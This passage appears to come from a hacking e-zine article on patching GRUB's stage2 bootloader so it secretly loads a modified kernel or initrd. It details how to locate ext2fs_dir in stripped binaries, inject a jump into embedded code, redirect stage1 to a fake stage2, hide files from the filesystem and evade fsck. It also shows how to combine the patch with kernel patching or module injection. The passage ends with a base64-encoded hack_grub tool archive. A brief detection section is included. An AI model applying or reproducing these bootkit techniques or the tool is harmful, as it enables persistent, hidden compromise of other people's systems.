‑‑‑‑[ 3.2 ‑ How to locate ext2fs_dir

That's the difficult part. stage2 is generated by objcopy, so all ELF information are stripped ‑ NO SYMBOL TABLE! We must find some PATTERNs to locate ext2fs_dir.

The first choice is log2:

#define long2(n) ffz(~(n))

static __inline__ unsigned long

ffz (unsigned long word)

{

__asm__ ("bsfl %1, %0"

:"=r" (word)

:"r" (~word));

return word;

}

group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK));

The question is, ffz is declared as __inline__, which indicates MAYBE this function is inlined, MAYBE not. So we give it up.

Next choice is SUPERBLOCK‑>s_inodes_per_group in group_id = (current_ino ‑ 1) / (SUPERBLOCK‑>s_inodes_per_group); #define RAW_ADDR(x) (x)

#define FSYS_BUF RAW_ADDR(0x68000)

#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF)) struct ext2_super_block{

...

__u32 s_inodes_per_group/* # Inodes per group */

...

}

Then we calculate SUPERBLOCK‑>s_inodes_per_group is at 0x68028. This address only appears in ext2fs_dir, so the possibility of collision is low. After locating 0x68028, we move backwards to get the start of ext2fs_dir. Here comes another question, how to identify the start of ext2fs_dir? Of course you can search backwards for 0xc3, likely it's ret. But what if it's only part of an instruction such as operands? Also, sometimes, gcc adds some junk codes to make function address aligned(4byte/8byte/16byte), then how to skip these junk codes? Just list all the possible combinations? This method is practical, but not ideal.

Now, we noticed fsys_table:

struct fsys_entry fsys_table[NUM_FSYS + 1] =

{

...

# ifdef FSYS_FAT

{"fat", fat_mount, fat_read, fat_dir, 0, 0},

# endif

# ifdef FSYS_EXT2FS

{"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0}, # endif

# ifdef FSYS_MINIX

{"minix", minix_mount, minix_read, minix_dir, 0, 0}, # endif

...

};

fsys_table is called like this:

if ((*(fsys_table[fsys_type].mount_func)) () != 1)

So, our trick is:

1. Search stage2 for string "ext2fs", get its offset, then convert it to memory address(stage2 starts from 0800:0000) addr_1.

2. Search stage2 for addr_1, get its offset, then get next 5 integers (A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0? If any one is "No", goto 1 and continue search

3. Then C is memory address of ext2fs_dir, convert it to file offset. OK, that's it.

‑‑‑‑[ 3.3 ‑ How to hack grub

OK, with the help of 3.1 and 3.2, we can hack grub very easily. The first target is stage2. We get the start address of ext2fs_dir, add a JMP to somewhere, then copy the embeded code. Then where is 'somewhere'? Obviously, the tail of stage2 is not perfect, this will change the file size. We can choose minix_dir as our target. What about fat_mount? It's right behind ext2fs_dir. But the answer is NO! Take a look at "root ..."

root_func()‑>open_device()‑>attemp_mount()

for (fsys_type = 0; fsys_type < NUM_FSYS

&& (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);

Take a look at fsys_table, fat is ahead of ext2, so fat_mount is called first. If fat_mount is modified, god knows the result. To make things safe, we choose minix_dir.

Now, your stage2 can load file_fake. Size remains the same, but hash value changed.

‑‑‑‑[ 3.4 ‑ How to make things sneaky

Why must we use /boot/grub/stage2? We can get stage1 jump to stage2_fake(cp stage2 stage2_fake, modify stage2_fake), so stage2 remains intact.

If you cp stage2 to stage2_fake, stage2_fake won't work. Remember the sector lists in start.S? You have to change the lists to stage2_fake, not the original stage2. You can retrieve the inode, get i_block[], then the block lists are there(Don't forget to add the partition offset). You have to bypass the VFS to get inode info, see [1].

Since you use stage2_fake, the correspondent address in stage1 should be modified. If the stage1.5 is not installed, that's easy, you just change stage2_sector from stage2_orig to stage2_fake(MBR is changed). If stage1.5 is installed and you're lazy and bold, you can skip stage1.5 ‑ modify stage2_address, stage2_sector, stage2_segment of stage1. This is risky, because 1) If "virus detection" in BIOS is enabled, the MBR modification will be detected 2) The "Grub stage1.5" & "Grub loading, please wait" will change to "Grub stage2". It's flashy, can you notice it on your FAST PC? If you really want to be sneaky, then you can hack stage1.5, using similiar techniques like 3.1 and 3.2. Don't forget to change the sector lists of stage1.5(start.S) ‑ you have to append your embeded code at the end.

You can make things more sneaky: make stage2_fake/kernel_fake hidden from FS, e.g. erase its dentry from /boot/grub. Wanna anti‑fsck? Move inode_of_stage2 to inode_from_1_to_10. See [2]

‑‑[ 4.0 ‑ Usage

Combined with other techniques, see how powerful our hack_grub is. Notes: All files should reside in the same partition! 1) Combined with static kernel patch

a) cp kernel.orig kernel.fake

b) static kernel patch with kernel.fake[3]

c) cp stage2 stage2.fake

d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake e) hide kernel.fake and stage2.fake (optional)

2) Combined with module injection

a) cp initrd.img.orig initrd.img.fake

b) do module injection with initrd.img.fake, e.g. ext3.[k]o [4] c) cp stage2 stage2.fake

d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake e) hide initrd.img.fake and stage2.fake (optional) 3) Make a fake grub.conf

4) More...

‑‑[ 5.0 ‑ Detection

1) Keep an eye on MBR and the following 63 sectors, also primary boot sectors.

2) If not 1,

a) if stage1.5 is configured, compare sectors from 3(absolute address, MBR is sector No. 1) with /boot/grub/e2fs_stage1_5 b) if stage1.5 is not configured, see if stage2_sector points to real /boot/grub/stage2 file

3) check the file consistency of e2fs_stage1_5 and stage2 4) if not 3 (Hey, are you a qualified sysadmin?)

if a) If you're suspicious about kernel, dump the kernel and make a byte‑to‑byte with kernel on disk. See [5] for more b) If you're suspicious about module, that's a hard challenge, maybe you can dump it and disassemble it?

‑‑[ 6.0 ‑ At the end

Lilo is another boot loader, but it's file‑system‑insensitive. So Lilo doesn't have built‑in file‑systems. It relies on /boot/bootsect.b and /boot/map.b. So, if you're lazy, write a fake lilo.conf, which displays a.img but loads b.img. Or, you can make lilo load /boot/map.b.fake. The details depend on yourself. Do it!

Thanks to madsys & grip2 for help me solve some hard‑to‑crack things; thanks to airsupply and other guys for stage2 samples (redhat 7.2/9/as3, Fedora Core 2, gentoo, debian and ubuntu), thanks to zhtq for some comments about paper‑writing.

‑‑[ 7.0 ‑ Ref

[1] Design and Implementation of the Second Extended Filesystem http://e2fsprogs.sourceforge.net/ext2intro.html

[2] ways to hide files in ext2/3 filesystem (Chinese) http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&

Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1

[3] Static Kernel Patching http://www.phrack.org/show.php?p=60&a=8

[4] Infecting Loadable Kernel Modules http://www.phrack.org/show.php?p=61&a=10

[5] Ways to find 2.6 kernel rootkits (Chinese) http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&

Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1

‑‑[ 8 ‑ hack_grub.tar.gz

begin‑base64 644 hack_grub.tar.gz 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 